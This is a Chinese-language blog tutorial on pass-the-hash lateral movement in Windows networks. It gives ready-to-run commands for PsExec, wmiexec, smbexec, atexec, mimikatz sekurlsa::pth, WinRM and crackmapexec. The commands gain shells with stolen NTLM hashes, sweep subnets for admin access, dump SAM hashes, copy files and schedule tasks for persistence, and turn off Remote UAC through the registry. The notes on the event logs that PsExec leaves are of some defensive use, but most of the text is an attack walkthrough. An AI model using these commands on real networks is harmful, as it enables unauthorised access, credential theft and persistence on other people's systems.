PTH的幾種食用姿勢

PTH

PTH(pass the hash)也叫做hash傳遞。在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過NTLM Hash(mimikatz或其他手段抓取到的密碼hash)訪問遠程主機或服務,而不用提供明文密碼。因爲在Windows中通常會用NTLM進行身份認證,hash值由系統API生成,如果攻擊者獲得了hash,就能夠跳過調用API生成hash的過程,在身份驗證的時候模擬該用戶。

從winows 2008開始(包括2008),rid不爲500的用戶,windows都不允許遠程連接(包括net use、at、winrm等),所以如果想對目標機遠程執行命令,必須使用目標機rid 500的賬號(通常爲administrator)或域管賬號。

PsExec

0x00 PsExec簡介

PsExec 是由 Mark Russinovich 創建的 Sysinternals Suite中包含的工具,基於445端口 走SMB協議,NTLM認證。最初,它旨在作爲系統管理員的便利工具,以便他們可以通過在遠程主機上運行命令來執行維護任務。PsExec是一個輕量級的telnet替代工具,它使您無需手動安裝客戶端軟件即可執行其他系統上的進程,並且可以獲得與命令控制檯幾乎相同的實時交互性。PsExec最強大的功能就是在遠程系統和遠程支持工具(如ipconfig、whoami)中啓動交互式命令提示窗口,以便顯示無法通過其他方式顯示的有關遠程系統的信息。

0x01 食用姿勢

### 前提條件:開啓admin$(映射C:\\Windows目錄)且關閉Remote UAC

## 針對遠程建立連接的方式有兩種,一種先建立IPC通道連接,然後直接使用,操作如下:

# 先net use 連接上IPC
 net use \\192.168.0.1\ipc$ "password123!@#" /user:alibaba
 
# 確認是否進入IPC會話
.\PsExec64.exe -accepteula \\ip -s cmd.exe   彈cmd

.\PsExec64.exe -accepteula \\ip -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com


## 另一種時在psexec的參數中指定賬戶密碼  操作如下:
.\PsExec64.exe \\192.168.0.1 –u administrator –p password

0x02 執行原理

1.通過ipc$連接,釋放psexecsvc.exe到目標
2.通過服務管理SCManager遠程創建psexecsvc服務,並啓動服務。
3.客戶端連接執行命令,服務端啓動相應的程序並執行回顯數據。
4.運行完後刪除服務。這個在windows的日誌中有詳細的記錄,另外psexec在少數情況下會出現服務沒刪除成功的bug(可在命令行下執行exit退出),所以一般不推薦使用psexec,推薦wmiexec

首先進行TCP三次握手連接目標445端口

通過SMB協議協商使用SMB協議的版本

進行NTLM認證,發送SESSION_SETUP_ANDX協商請求,包括username和pass hash

image-20210517120037800

寫入PSEXECSVC.exe文件,遠程調用svcctl協議啓動psexesvc服務

psexec必須調用svcctl協議,否則psexesvc服務無法啓動

image-20210517120220247

0x03 關於PsExec的日誌

psexec成功登錄退出後,會在目標機器的安全日誌中產生Event 4624、4628、4634,在系統日誌中產生Event 7045(記錄PSEXESVC安裝)、Event 7036(記錄PSEXESVC服務狀態)

0x04 Remote UAC的延展測試

UAC是什麼?UAC是微軟在Windows Vista 以後版本引入的一種安全機制,可以阻止未經授權的應用程序自動進行安裝,並防止無意中更改系統設置。那麼對於防禦是不是不改UAC,保持默認或更高就可以了?並不是,可以改註冊表的嘛。

方法二:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem添加新DWORD值,鍵值:LocalAccountTokenFilterPolicy 爲1。

WMI

0x00 WMI簡介

WMI的全名爲“Windows Management Instrumentation”。從Windows 98開始,Windows操作系統都支持WMI。WMI是由一系列工具集組成的,可以在本地或者遠程管理計算機系統。

使用WMIC橫向移動連接遠程主機,需要目標主機開放135和445端口。

(135 端⼝是 WMIC 默認的管理端⼝,wimcexec 使⽤445端⼝傳回顯)

WMI相比於PsExec更隱蔽些

0x01 食用姿勢

###  遠程連接

## 直接使用wmic使用明文密碼連接(未利用IPC$)
.\wmiexec.exe admin:[email protected] 
.\wmiexec.exe 用戶名:明文密碼@ip 

## PTH 
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/用戶名@目標IP    // 哈希傳遞獲得shell
.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 [email protected]   // 哈希傳遞獲得shell 

.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 [email protected] "ipconfig"   // 執行命令
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/用戶名@目標IP "ipconfig"   // 執行命令

-hashes 471991a8c33ff1593f1ad458bdd6f0c5 central.com.br\Administrator "ipconfig"

ps:獲取的當前shell權限爲此用戶權限

image-20210518211203701

smbexec

0x00 smbexec簡介

smbexec可以通過文件共享在遠程系統中執行命令。

需要開啓c$共享,445端口。

0x01 食用姿勢

## 在3389或類似於3389環境下
# 明文密碼
.\smbexec.exe 用戶名:密碼@ip
.\smbexec.exe admin:[email protected]

# hash
.\smbexec.exe -hashes :NTLMhash 用戶名@ip
.\smbexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 [email protected]

## 在socks環境下
.\smbexec.exe rootkit/用戶名:密碼@ip
.\smbexec.exe -hashes :NTLMhash rootkit/用戶名@ip

ps:這裏成功後獲得的是system權限 ,所以後面如果環境允許,可以利用smbexec配合cme或者cs拿到system權限的shell或機器。

image-20210518224621492

atexec

0x00 atexec簡介

atexec是通過windows計劃任務執行遠程命令,atexec是一個半交互的工具,即參數中添加需要在遠程主機執行的命令,工具執行後即返回命令結果,適用於webshell下,也適用於其他網絡環境。

0x01 食用姿勢

用法大致與smbexec相同

## 在3389或類似於3389環境下
# 明文密碼
.\atexec.exe 用戶名:密碼@ip
.\atexec.exe admin:[email protected]

# hash
.\atexec.exe -hashes :NTLMhash 用戶名@ip
.\atexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 [email protected]

## 在socks環境下
.\atexec.exe rootkit/用戶名:密碼@ip
.\atexec.exe -hashes :NTLMhash rootkit/用戶名@ip

mimikatz

0x01 食用姿勢

mimikatz的食用方法有些許奇怪

privilege::debug

sekurlsa::pth /user:admin /domain:workgroup /ntlm:209c6174da490caeb422f3fa5a7ae634
# 傳文件
copy <file-path\file> \\ip\ipc$  或者
copy <file-path\file> \\ip\c$    或者
copy <file-path\file> \\ip\admin$ 

# 計劃任務
at \\ip 時間 程序名,如:
at \\127.0.0.0 11:00 love.exe

如下圖,在新彈出的cmd中net use連接即可,後續可通過copy或at命令進行上線或權限維持。

image-20210518234748763

net use

net use將計算機與網絡其他計算機共享資源連接或斷開,或者顯示關於計算機共享連接的信息,或者切斷計算機與共享資源的連接(刪除磁盤映射),當不帶選項使用本命令時,它會列出計算機的連接。

# 列出所有共享資源
net use

# 建立IPC$
net use \\ip\ipc$ "<password>" /user:<username>

# 刪除IPC$
net use \\ip\ipc$ /delete

# 傳文件
copy <file-path\file> \\ip\ipc$  或者
copy <file-path\file> \\ip\c$    或者
copy <file-path\file> \\ip\admin$ 

# 計劃任務
at \\ip 時間 程序名,如:
at \\127.0.0.1 9:00 calc.exe

WinRM

0x00 WinRM簡介

WinRM(Windows Remote Managementd)是windows操作系統的一部分,基於Web服務管理(WS-Management)標準。是一項允許管理員在系統上遠程執行管理任務的服務。一般是監聽在5985端口(HTTP),HTTPS協議監聽在596端口上,默認支持Kerberos和NTLM身份驗證。使用此服務需要管理員級別的憑據。

WinRM服務將在Windows Server 2008和更高版本上自動啓動(在Windows Vista中,需要手動啓動該服務)。
默認情況下,未配置WinRM偵聽器。即使WinRM服務正在運行,也無法接收或發送請求數據的WS-Management協議消息。

0x01 搭建WinRM服務

環境:

win 2008 R2 --> WinRM

win7 攻擊機

# 將網絡連接類型改爲“專用” win7的話改爲工作網絡winrm quickconfig//針對winrm service 進行基礎配置winrm e winrm/config/listener//查看winrm service listener:winrm set winrm/config/service/auth @{Basic="true"}//爲winrm service 配置authwinrm set winrm/config/service @{AllowUnencrypted="true"}//爲winrm service 配置加密方式爲允許非加密winrm enumerate winrm/config/listener//winrm service返回信息則啓動配置成功# 將目標計算機添加到 TrustedHosts 配置設置,TrustedHosts=”*”代表所有IP都可嘗試連接到此計算機的WinRM服務,這裏類似於白名單機制。winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts=”*”}# 攻擊機和環境靶機都需要處於專用網絡或者在域內之後可以netstat -an看一下端口 5985開啓就說明正常啓動WinRM了

0x02 食用姿勢

winrs.exe ,基於命令行的工具,此工具作爲客戶端使用,用於遠程連接運行WinRM的服務器並執行大多數的cmd命令

winrs -? 可以查看幫助,Winrs事件作爲Microsoft-Windows-WinRM / Operational(事件ID 91)記錄在遠程主機上。

常用姿勢

# 遠程執行命令winrs -r:http://ip:5985 -u:用戶名 -p:密碼 "ipconfig"# 創建新線程啓動calcwinrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://ip:5985 -u:administrator -p:密碼winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.124.167:5985 -u:administrator -p:z123456.

不過不知道爲什麼沒彈calc,但是calc的線程是起來了。

image-20210519233410138

image-20210519230417033

crackmapexec

一款強大的內網橫向的工具

功能很多 這裏只介紹幾個常用到的

# 掃描c段445crackmapexec smb 192.168.124.0/24

image-20210519235042109

# 指定單一用戶與密碼進行c段掃描crackmapexec smb 192.168.124.0/24 -u admin -p admin --pass-pol

帶有黃色的"Pwn3d!"意味着我們在這臺機器上擁有管理員權限

image-20210519235636143

# 列出當前c段所有可用共享crackmapexec smb 192.168.124.0/24 -u admin -p admin --shares 

image-20210519235913328

# PTH,指定hash進行橫向crackmapexec smb 192.168.124.0/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --pass-pol

image-20210520000313580

# -H和-p參數都可指定文件去批量跑c段(--pass-pol),同理也可跑共享(--shares)crackmapexec smb 192.168.124.0/24 -u ./user.txt -H hash.txt --pass-pol 

image-20210520000933039

# winrm同理,只不過沒有--pass-pol參數了crackmapexec winrm 192.168.124.0/24 -u user.txt -H hash.txt

image-20210520002645153

# --sam dump主機hashcrackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --sam

image-20210520001513661

# -x 執行命令,默認使用wmi執行命令(這裏可以通過--exec-method參數指定smbexec來獲得system權限執行命令)crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami"crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami" --exec-method smbexec

image-20210520001907120

image-20210520001940864

Reference

https://www.anquanke.com/post/id/222746

http://cn0sec.cn/index.php/archives/53/

https://www.cnblogs.com/sup3rman/p/12381874.html

https://ishare.ifeng.com/c/s/7qiKOFLV4ZM

https://cloud.tencent.com/developer/article/1802241

https://www.freebuf.com/articles/system/259632.html

https://www.anquanke.com/post/id/84980

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章